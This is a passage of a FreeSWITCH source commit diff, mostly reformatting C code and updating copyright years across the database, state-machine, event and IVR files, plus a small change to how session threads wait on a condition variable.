+ " task_desc VARCHAR(4096),\n"
+ " task_group VARCHAR(1024),\n" " task_sql_manager INTEGER,\n" " hostname VARCHAR(256)\n" ");\n";
+static char create_nat_sql[] =
+ "CREATE TABLE nat (\n" " sticky INTEGER,\n" " port INTEGER,\n" " proto INTEGER,\n" " hostname VARCHAR(256)\n" ");\n";
switch_status_t switch_core_sqldb_start(switch_memory_pool_t *pool, switch_bool_t manage)
{
@@ -1250,14 +1219,14 @@
sql_manager.memory_pool = pool;
sql_manager.manage = manage;
-
+
switch_mutex_init(&sql_manager.dbh_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
switch_mutex_init(&sql_manager.io_mutex, SWITCH_MUTEX_NESTED, sql_manager.memory_pool);
-
+
switch_core_hash_init(&sql_manager.dbh_hash, sql_manager.memory_pool);
- top:
-
+ top:
+
/* Activate SQL database */
if (switch_core_db_handle(&dbh) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB!\n");
@@ -1275,18 +1244,18 @@
return SWITCH_STATUS_FALSE;
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Opening DB\n");
switch (dbh->type) {
case SCDB_TYPE_ODBC:
{
char sql[512] = "";
- char *tables[] = {"channels", "calls", "interfaces", "tasks", NULL};
+ char *tables[] = { "channels", "calls", "interfaces", "tasks", NULL };
int i;
const char *hostname = switch_core_get_variable("hostname");
- for(i = 0; tables[i]; i++) {
+ for (i = 0; tables[i]; i++) {
switch_snprintf(sql, sizeof(sql), "delete from %s where hostname='%s'", tables[i], hostname);
switch_cache_db_execute_sql(dbh, sql, NULL);
}
@@ -1306,7 +1275,7 @@
break;
}
-
+
switch_cache_db_test_reactive(dbh, "select hostname from complete", "DROP TABLE complete", create_complete_sql);
switch_cache_db_test_reactive(dbh, "select hostname from aliases", "DROP TABLE aliases", create_alias_sql);
switch_cache_db_test_reactive(dbh, "select hostname from nat", "DROP TABLE nat", create_nat_sql);
@@ -1320,9 +1289,9 @@
switch_cache_db_test_reactive(dbh, "select hostname from calls", "DROP TABLE calls", create_calls_sql);
switch_cache_db_test_reactive(dbh, "select ikey from interfaces", "DROP TABLE interfaces", create_interfaces_sql);
switch_cache_db_test_reactive(dbh, "select hostname from tasks", "DROP TABLE tasks", create_tasks_sql);
-
+
switch_cache_db_execute_sql(dbh, "begin;delete from channels where hostname='';delete from channels where hostname='';commit;", &err);
-
+
if (err) {
runtime.odbc_dsn = NULL;
runtime.odbc_user = NULL;
@@ -1343,8 +1312,8 @@
}
break;
}
-
+
switch_cache_db_execute_sql(dbh, "delete from complete where sticky=0", NULL);
switch_cache_db_execute_sql(dbh, "delete from aliases where sticky=0", NULL);
switch_cache_db_execute_sql(dbh, "delete from nat where sticky=0", NULL);
@@ -1366,7 +1335,7 @@
if (sql_manager.manage) {
- if (switch_event_bind_removable("core_db", SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY,
+ if (switch_event_bind_removable("core_db", SWITCH_EVENT_ALL, SWITCH_EVENT_SUBCLASS_ANY,
core_event_handler, NULL, &sql_manager.event_node) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event handler!\n");
}
@@ -1382,7 +1351,7 @@
while (!sql_manager.thread_running) {
switch_yield(10000);
}
-
+
switch_cache_db_release_db_handle(&dbh);
return SWITCH_STATUS_SUCCESS;
@@ -1393,7 +1362,7 @@
switch_status_t st;
switch_event_unbind(&sql_manager.event_node);
-
+
if (sql_manager.thread && sql_manager.thread_running) {
if (sql_manager.manage) {
@@ -1425,9 +1394,9 @@
char cleankey_str[CACHE_DB_LEN];
char *pos1 = NULL;
char *pos2 = NULL;
-
+
switch_mutex_lock(sql_manager.dbh_mutex);
-
+
for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &var, NULL, &val);
key = (char *) var;
@@ -1437,7 +1406,7 @@
time_t diff = 0;
diff = now - dbh->last_used;
-
+
if (switch_mutex_trylock(dbh->mutex) == SWITCH_STATUS_SUCCESS) {
switch_mutex_unlock(dbh->mutex);
locked = SWITCH_FALSE;
@@ -1449,19 +1418,17 @@
memset(cleankey_str, 0, sizeof(cleankey_str));
pos1 = strstr(key, needle) + strlen(needle);
pos2 = strstr(pos1, "\"");
- strncpy(cleankey_str, key, pos1-key);
- strcpy(&cleankey_str[pos1-key], pos2);
-
-
+ strncpy(cleankey_str, key, pos1 - key);
+ strcpy(&cleankey_str[pos1 - key], pos2);
+
+
stream->write_function(stream, "%s\n\tType: %s\n\tLast used: %d\n\tFlags: %s, %s\n"
- "\tCreator: %s\n\tLast User: %s\n",
- cleankey_str,
- switch_cache_db_type_name(dbh->type),
- diff,
- locked ? "Locked" : "Unlocked",
- switch_test_flag(dbh, CDF_INUSE) ? "Attached" : "Detached",
- dbh->creator,
- dbh->last_user);
+ "\tCreator: %s\n\tLast User: %s\n",
+ cleankey_str,
+ switch_cache_db_type_name(dbh->type),
+ diff,
+ locked ? "Locked" : "Unlocked",
+ switch_test_flag(dbh, CDF_INUSE) ? "Attached" : "Detached", dbh->creator, dbh->last_user);
}
}
switch_mutex_unlock(sql_manager.dbh_mutex);
Modified: freeswitch/trunk/src/switch_core_state_machine.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_state_machine.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_state_machine.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -57,8 +57,7 @@
static void switch_core_standard_on_destroy(switch_core_session_t *session)
{
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard DESTROY\n",
- switch_channel_get_name(session->channel));
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard DESTROY\n", switch_channel_get_name(session->channel));
}
static void switch_core_standard_on_reset(switch_core_session_t *session)
@@ -77,11 +76,9 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Standard ROUTING\n", switch_channel_get_name(session->channel));
- if (
- (switch_channel_test_flag(session->channel, CF_ANSWERED) ||
+ if ((switch_channel_test_flag(session->channel, CF_ANSWERED) ||
switch_channel_test_flag(session->channel, CF_EARLY_MEDIA) ||
- switch_channel_test_flag(session->channel, CF_SIGNAL_BRIDGE_TTL)) &&
- switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
+ switch_channel_test_flag(session->channel, CF_SIGNAL_BRIDGE_TTL)) && switch_channel_test_flag(session->channel, CF_PROXY_MODE)) {
switch_ivr_media(session->uuid_str, SMF_NONE);
}
@@ -100,7 +97,7 @@
for (x = 0; x < argc; x++) {
char *dpname = dp[x];
char *dparg = NULL;
-
+
if (dpname) {
if ((dparg = strchr(dpname, ':'))) {
*dparg++ = '\0';
@@ -111,12 +108,12 @@
if (!(dialplan_interface = switch_loadable_module_get_dialplan_interface(dpname))) {
continue;
}
-
+
count++;
-
+
extension = dialplan_interface->hunt_function(session, dparg, NULL);
UNPROTECT_INTERFACE(dialplan_interface);
-
+
if (extension) {
switch_channel_set_caller_extension(session->channel, extension);
switch_channel_set_state(session->channel, CS_EXECUTE);
@@ -129,7 +126,8 @@
if (!count) {
if (switch_channel_test_flag(session->channel, CF_OUTBOUND)) {
if (switch_channel_test_flag(session->channel, CF_ANSWERED)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "No Dialplan on answered channel, changing state to HANGUP\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+ "No Dialplan on answered channel, changing state to HANGUP\n");
switch_channel_hangup(session->channel, SWITCH_CAUSE_NO_ROUTE_DESTINATION);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "No Dialplan, changing state to CONSUME_MEDIA\n");
@@ -180,11 +178,11 @@
if (switch_channel_test_flag(session->channel, CF_RESET)) {
goto top;
}
-
+
}
if (switch_channel_ready(session->channel) && switch_channel_get_state(session->channel) == CS_EXECUTE) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "%s has executed the last dialplan instruction, hanging up.\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "%s has executed the last dialplan instruction, hanging up.\n",
switch_channel_get_name(session->channel));
switch_channel_hangup(session->channel, SWITCH_CAUSE_NORMAL_CLEARING);
}
@@ -305,25 +303,25 @@
while ((state = switch_channel_get_state(session->channel)) != CS_DESTROY) {
switch_channel_wait_for_flag(session->channel, CF_BLOCK_STATE, SWITCH_FALSE, 0, NULL);
-
+
midstate = state;
if (state != switch_channel_get_running_state(session->channel) || state >= CS_HANGUP) {
int index = 0;
int proceed = 1;
int global_proceed = 1;
int do_extra_handlers = 1;
-
+
switch_channel_set_running_state(session->channel, state);
switch_channel_clear_flag(session->channel, CF_TRANSFER);
switch_channel_clear_flag(session->channel, CF_REDIRECT);
switch (state) {
- case CS_NEW: /* Just created, Waiting for first instructions */
+ case CS_NEW: /* Just created, Waiting for first instructions */
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "(%s) State NEW\n", switch_channel_get_name(session->channel));
break;
case CS_DESTROY:
goto done;
- case CS_REPORTING: /* Call Detail */
+ case CS_REPORTING: /* Call Detail */
{
switch_core_session_reporting_state(session);
switch_channel_set_state(session->channel, CS_DESTROY);
@@ -331,7 +329,7 @@
goto done;
case CS_HANGUP: /* Deactivate and end the thread */
{
- switch_core_session_hangup_state(session, SWITCH_TRUE);
+ switch_core_session_hangup_state(session, SWITCH_TRUE);
switch_channel_set_state(session->channel, CS_REPORTING);
}
@@ -381,21 +379,26 @@
if (endstate == CS_NEW) {
switch_cond_next();
if (!--new_loops) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s Timeout waiting for next instruction in CS_NEW!\n", session->uuid_str);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, "%s Timeout waiting for next instruction in CS_NEW!\n",
+ session->uuid_str);
switch_channel_hangup(session->channel, SWITCH_CAUSE_INVALID_CALL_REFERENCE);
}
} else {
switch_core_session_message_t *message;
-
+
while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
switch_core_session_receive_message(session, message);
message = NULL;
}
- switch_channel_set_flag(session->channel, CF_THREAD_SLEEPING);
- switch_thread_cond_wait(session->cond, session->mutex);
- switch_channel_clear_flag(session->channel, CF_THREAD_SLEEPING);
-
+ if (switch_channel_get_state(session->channel) == switch_channel_get_running_state(session->channel)) {
+ switch_channel_set_flag(session->channel, CF_THREAD_SLEEPING);
+ if (switch_channel_get_state(session->channel) == switch_channel_get_running_state(session->channel)) {
+ switch_thread_cond_wait(session->cond, session->mutex);
+ }
+ switch_channel_clear_flag(session->channel, CF_THREAD_SLEEPING);
+ }
+
while (switch_core_session_dequeue_message(session, &message) == SWITCH_STATUS_SUCCESS) {
switch_core_session_receive_message(session, message);
message = NULL;
@@ -432,7 +435,7 @@
driver_state_handler = endpoint_interface->state_handler;
switch_assert(driver_state_handler != NULL);
-
+
STATE_MACRO(destroy, "DESTROY");
return;
@@ -456,14 +459,14 @@
const switch_state_handler_table_t *driver_state_handler = NULL;
const switch_state_handler_table_t *application_state_handler = NULL;
-
+
if (!force) {
if (!switch_channel_test_flag(session->channel, CF_EARLY_HANGUP) && !switch_test_flag((&runtime), SCF_EARLY_HANGUP)) {
return;
}
if (switch_thread_self() != session->thread_id) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, "%s thread mismatch skipping state handler.\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG10, "%s thread mismatch skipping state handler.\n",
switch_channel_get_name(session->channel));
return;
}
@@ -484,15 +487,15 @@
switch_channel_set_hangup_time(session->channel);
switch_core_media_bug_remove_all(session);
-
+
switch_channel_stop_broadcast(session->channel);
-
+
switch_channel_set_variable(session->channel, "hangup_cause", switch_channel_cause2str(cause));
switch_channel_set_variable_printf(session->channel, "hangup_cause_q850", "%d", cause_q850);
switch_channel_presence(session->channel, "unknown", switch_channel_cause2str(cause), NULL);
-
+
switch_channel_set_timestamps(session->channel);
-
+
STATE_MACRO(hangup, "HANGUP");
hook_var = switch_channel_get_variable(session->channel, SWITCH_API_HANGUP_HOOK_VARIABLE);
@@ -505,8 +508,8 @@
char *cmd = switch_core_session_strdup(session, hook_var);
char *arg = NULL;
char *expanded = NULL;
-
- if ((arg = strchr(cmd, ':')) && *(arg+1) == ':') {
+
+ if ((arg = strchr(cmd, ':')) && *(arg + 1) == ':') {
*arg++ = '\0';
*arg++ = '\0';
} else {
@@ -516,13 +519,13 @@
}
SWITCH_STANDARD_STREAM(stream);
-
+
switch_channel_get_variables(session->channel, &stream.param_event);
switch_channel_event_set_data(session->channel, stream.param_event);
expanded = switch_channel_expand_variables(session->channel, arg);
switch_api_execute(cmd, expanded, use_session, &stream);
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Hangup Command %s(%s):\n%s\n", cmd, switch_str_nil(expanded),
switch_str_nil((char *) stream.data));
@@ -539,7 +542,7 @@
}
switch_set_flag(session, SSF_HANGUP);
-
+
}
SWITCH_DECLARE(void) switch_core_session_reporting_state(switch_core_session_t *session)
@@ -560,7 +563,7 @@
}
switch_channel_set_flag(session->channel, CF_REPORTING);
-
+
switch_assert(session != NULL);
session->thread_running = 1;
@@ -569,7 +572,7 @@
driver_state_handler = endpoint_interface->state_handler;
switch_assert(driver_state_handler != NULL);
-
+
if (!zstr(var)) {
if (!strcasecmp(var, "a_only")) {
if (switch_channel_get_originator_caller_profile(session->channel)) {
@@ -585,7 +588,7 @@
}
STATE_MACRO(reporting, "REPORTING");
-
+
return;
}
Modified: freeswitch/trunk/src/switch_core_timer.c (16578 => 16579)
--- freeswitch/trunk/src/switch_core_timer.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_timer.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_cpp.cpp (16578 => 16579)
--- freeswitch/trunk/src/switch_cpp.cpp 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_cpp.cpp 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/switch_dso.c (16578 => 16579)
--- freeswitch/trunk/src/switch_dso.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_dso.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -24,16 +24,18 @@
#ifdef WIN32
-SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib) {
+SWITCH_DECLARE(void) switch_dso_destroy(switch_dso_lib_t *lib)
+{
if (lib && *lib) {
FreeLibrary(*lib);
*lib = NULL;
}
}
-SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err) {
- HINSTANCE lib;
-
+SWITCH_DECLARE(switch_dso_lib_t) switch_dso_open(const char *path, int global, char **err)
+{
+ HINSTANCE lib;
+
lib = LoadLibraryEx(path, NULL, 0);
if (!lib) {
@@ -48,22 +50,24 @@
return lib;
}
-SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+SWITCH_DECLARE(switch_dso_func_t) switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
FARPROC func = GetProcAddress(lib, sym);
if (!func) {
DWORD error = GetLastError();
*err = switch_mprintf("dll sym error [%ul]\n", error);
}
- return (switch_dso_func_t)func;
+ return (switch_dso_func_t) func;
}
-SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+SWITCH_DECLARE(void *) switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
FARPROC addr = GetProcAddress(lib, sym);
if (!addr) {
DWORD error = GetLastError();
*err = switch_mprintf("dll sym error [%ul]\n", error);
}
- return (void *)(intptr_t)addr;
+ return (void *) (intptr_t) addr;
}
@@ -80,16 +84,18 @@
#include <dlfcn.h>
-void switch_dso_destroy(switch_dso_lib_t *lib) {
+void switch_dso_destroy(switch_dso_lib_t *lib)
+{
if (lib && *lib) {
dlclose(*lib);
*lib = NULL;
}
}
-switch_dso_lib_t switch_dso_open(const char *path, int global, char **err) {
+switch_dso_lib_t switch_dso_open(const char *path, int global, char **err)
+{
void *lib;
-
+
if (global) {
lib = dlopen(path, RTLD_NOW | RTLD_GLOBAL);
} else {
@@ -108,15 +114,17 @@
return lib;
}
-switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+switch_dso_func_t switch_dso_func_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
void *func = dlsym(lib, sym);
if (!func) {
*err = strdup(dlerror());
}
- return (switch_dso_func_t)(intptr_t)func;
+ return (switch_dso_func_t) (intptr_t) func;
}
-void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err) {
+void *switch_dso_data_sym(switch_dso_lib_t lib, const char *sym, char **err)
+{
void *addr = dlsym(lib, sym);
if (!addr) {
*err = strdup(dlerror());
Modified: freeswitch/trunk/src/switch_event.c (16578 => 16579)
--- freeswitch/trunk/src/switch_event.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_event.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -193,15 +193,15 @@
static int switch_events_match(switch_event_t *event, switch_event_node_t *node)
{
int match = 0;
-
+
if (node->event_id == SWITCH_EVENT_ALL) {
match++;
-
+
if (!node->subclass) {
return match;
}
}
-
+
if (match || event->event_id == node->event_id) {
if (event->subclass_name && node->subclass) {
@@ -349,7 +349,7 @@
node->callback(*event);
}
}
-
+
if (e == SWITCH_EVENT_ALL) {
break;
}
@@ -412,20 +412,20 @@
subclass->bind = 1;
}
}
-
+
return status;
}
SWITCH_DECLARE(switch_status_t) switch_event_reserve_subclass_detailed(const char *owner, const char *subclass_name)
{
switch_event_subclass_t *subclass;
-
+
switch_assert(RUNTIME_POOL != NULL);
switch_assert(CUSTOM_HASH != NULL);
if ((subclass = switch_core_hash_find(CUSTOM_HASH, subclass_name))) {
/* a listener reserved it for us, now we can lock it so nobody else can have it */
- if (subclass->bind) {
+ if (subclass->bind) {
subclass->bind = 0;
return SWITCH_STATUS_SUCCESS;
}
@@ -436,7 +436,7 @@
subclass->owner = DUP(owner);
subclass->name = DUP(subclass_name);
-
+
switch_core_hash_insert(CUSTOM_HASH, subclass->name, subclass);
return SWITCH_STATUS_SUCCESS;
@@ -473,7 +473,7 @@
int last = 0;
switch_hash_index_t *hi;
const void *var;
- void *val;
+ void *val;
switch_mutex_lock(EVENT_QUEUE_MUTEX);
SYSTEM_RUNNING = 0;
@@ -498,10 +498,10 @@
}
last = THREAD_COUNT;
}
-
+
for (x = 0; x < SOFT_MAX_DISPATCH; x++) {
void *pop = NULL;
- switch_event_t *event = NULL;
+ switch_event_t *event = NULL;
switch_status_t st;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping dispatch thread %d\n", x);
@@ -510,12 +510,12 @@
while (switch_queue_trypop(EVENT_DISPATCH_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
event = (switch_event_t *) pop;
switch_event_destroy(&event);
- }
+ }
}
for (x = 0; x < NUMBER_OF_QUEUES; x++) {
void *pop = NULL;
- switch_event_t *event = NULL;
+ switch_event_t *event = NULL;
switch_status_t st;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Stopping queue thread %d\n", x);
@@ -524,9 +524,9 @@
while (switch_queue_trypop(EVENT_QUEUE[x], &pop) == SWITCH_STATUS_SUCCESS && pop) {
event = (switch_event_t *) pop;
switch_event_destroy(&event);
- }
+ }
}
-
+
for (hi = switch_hash_first(NULL, CUSTOM_HASH); hi; hi = switch_hash_next(hi)) {
switch_event_subclass_t *subclass;
switch_hash_this(hi, &var, NULL, &val);
@@ -634,7 +634,6 @@
if ((event_id != SWITCH_EVENT_CLONE && event_id != SWITCH_EVENT_CUSTOM) && subclass_name) {
return SWITCH_STATUS_GENERR;
}
-
#ifdef SWITCH_EVENT_RECYCLE
if (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS && pop) {
*event = (switch_event_t *) pop;
@@ -680,12 +679,13 @@
switch_assert(event);
- if (!header_name) return NULL;
-
+ if (!header_name)
+ return NULL;
+
hash = switch_ci_hashfunc_default(header_name, &hlen);
-
+
for (hp = event->headers; hp; hp = hp->next) {
- if ((!hp->hash || hash == hp->hash) && !strcasecmp(hp->name, header_name) ) {
+ if ((!hp->hash || hash == hp->hash) && !strcasecmp(hp->name, header_name)) {
return hp->value;
}
}
@@ -709,7 +709,7 @@
while (tp) {
hp = tp;
tp = tp->next;
-
+
x++;
switch_assert(x < 1000);
hash = switch_ci_hashfunc_default(header_name, &hlen);
@@ -768,7 +768,7 @@
header->name = DUP(header_name);
header->value = data;
header->hash = switch_ci_hashfunc_default(header->name, &hlen);
-
+
if (stack == SWITCH_STACK_TOP) {
header->next = event->headers;
event->headers = header;
@@ -807,8 +807,9 @@
SWITCH_DECLARE(switch_status_t) switch_event_set_subclass_name(switch_event_t *event, const char *subclass_name)
{
- if (!event || !subclass_name) return SWITCH_STATUS_GENERR;
-
+ if (!event || !subclass_name)
+ return SWITCH_STATUS_GENERR;
+
switch_safe_free(event->subclass_name);
event->subclass_name = DUP(subclass_name);
switch_event_del_header(event, "Event-Subclass");
@@ -1030,23 +1031,23 @@
static switch_xml_t add_xml_header(switch_xml_t xml, char *name, char *value, int offset)
{
switch_xml_t header = switch_xml_add_child_d(xml, name, offset);
-
+
if (header) {
switch_size_t encode_len = (strlen(value) * 3) + 1;
char *encode_buf = malloc(encode_len);
-
+
switch_assert(encode_buf);
-
+
memset(encode_buf, 0, encode_len);
switch_url_encode((char *) value, encode_buf, encode_len);
switch_xml_set_txt_d(header, encode_buf);
free(encode_buf);
}
-
+
return header;
}
-SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt, ...)
+SWITCH_DECLARE(switch_xml_t) switch_event_xmlize(switch_event_t *event, const char *fmt,...)
{
switch_event_header_t *hp;
char *data = NULL, *body = NULL;
@@ -1170,19 +1171,19 @@
goto end;
}
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Event queue is full!\n");
switch_yield(100000);
}
- end:
+ end:
*event = NULL;
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
+SWITCH_DECLARE(switch_status_t) switch_event_bind_removable(const char *id, switch_event_types_t event, const char *subclass_name,
switch_event_callback_t callback, void *user_data, switch_event_node_t **node)
{
switch_event_node_t *event_node;
@@ -1206,7 +1207,7 @@
return SWITCH_STATUS_FALSE;
}
}
-
+
if (event <= SWITCH_EVENT_ALL) {
switch_zmalloc(event_node, sizeof(*event_node));
switch_mutex_lock(BLOCK);
@@ -1238,8 +1239,8 @@
}
-SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name,
- switch_event_callback_t callback, void *user_data)
+SWITCH_DECLARE(switch_status_t) switch_event_bind(const char *id, switch_event_types_t event, const char *subclass_name,
+ switch_event_callback_t callback, void *user_data)
{
return switch_event_bind_removable(id, event, subclass_name, callback, user_data, NULL);
}
Modified: freeswitch/trunk/src/switch_ivr.c (16578 => 16579)
--- freeswitch/trunk/src/switch_ivr.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -41,7 +41,7 @@
SWITCH_DECLARE(switch_status_t) switch_ivr_sound_test(switch_core_session_t *session)
{
- switch_codec_implementation_t imp = {0};
+ switch_codec_implementation_t imp = { 0 };
switch_codec_t codec = { 0 };
int16_t peak = 0;
int16_t *data;
@@ -54,9 +54,9 @@
int period_avg = 0, global_avg = 0;
int avg = 0;
int period_len;
-
+
switch_core_session_get_read_impl(session, &imp);
-
+
period_len = imp.actual_samples_per_second / imp.samples_per_packet;
if (switch_core_codec_init(&codec,
@@ -64,17 +64,17 @@
NULL,
imp.samples_per_second,
imp.microseconds_per_packet / 1000,
- imp.number_of_channels,
- SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
+ imp.number_of_channels,
+ SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
return SWITCH_STATUS_FALSE;
}
-
- while(switch_channel_ready(channel)) {
+
+ while (switch_channel_ready(channel)) {
status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
-
+
if (!SWITCH_READ_ACCEPTABLE(status)) {
break;
}
@@ -88,35 +88,35 @@
peak = 0;
avg = 0;
for (i = 0; i < read_frame->samples; i++) {
- const int16_t s = (int16_t)abs(data[i]);
+ const int16_t s = (int16_t) abs(data[i]);
if (s > peak) {
peak = s;
}
avg += s;
}
-
+
avg /= read_frame->samples;
period_sum += peak;
global_sum += peak;
-
+
global_total++;
period_total++;
-
- period_avg = (int)(period_sum / period_total);
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE,
- "\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n", avg, peak, period_avg, global_avg);
-
- if (period_total >= period_len) {
- global_avg = (int)(global_sum / global_total);
+ period_avg = (int) (period_sum / period_total);
+
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CONSOLE,
+ "\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n", avg, peak, period_avg, global_avg);
+
+ if (period_total >= period_len) {
+ global_avg = (int) (global_sum / global_total);
period_total = 0;
period_sum = 0;
}
}
-
+
switch_core_codec_destroy(&codec);
return SWITCH_STATUS_SUCCESS;
@@ -134,20 +134,20 @@
switch_frame_t write_frame = { 0 };
unsigned char *abuf = NULL;
- switch_codec_implementation_t imp = {0};
+ switch_codec_implementation_t imp = { 0 };
switch_codec_t codec = { 0 };
int sval = 0;
const char *var;
/*
- if (!switch_channel_test_flag(channel, CF_OUTBOUND) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
- !switch_channel_media_ready(channel) && !switch_channel_test_flag(channel, CF_SERVICE)) {
- if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot establish media.\n");
- return SWITCH_STATUS_FALSE;
- }
- }
- */
+ if (!switch_channel_test_flag(channel, CF_OUTBOUND) && !switch_channel_test_flag(channel, CF_PROXY_MODE) &&
+ !switch_channel_media_ready(channel) && !switch_channel_test_flag(channel, CF_SERVICE)) {
+ if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Cannot establish media.\n");
+ return SWITCH_STATUS_FALSE;
+ }
+ }
+ */
if (!switch_channel_media_ready(channel)) {
switch_yield(ms * 1000);
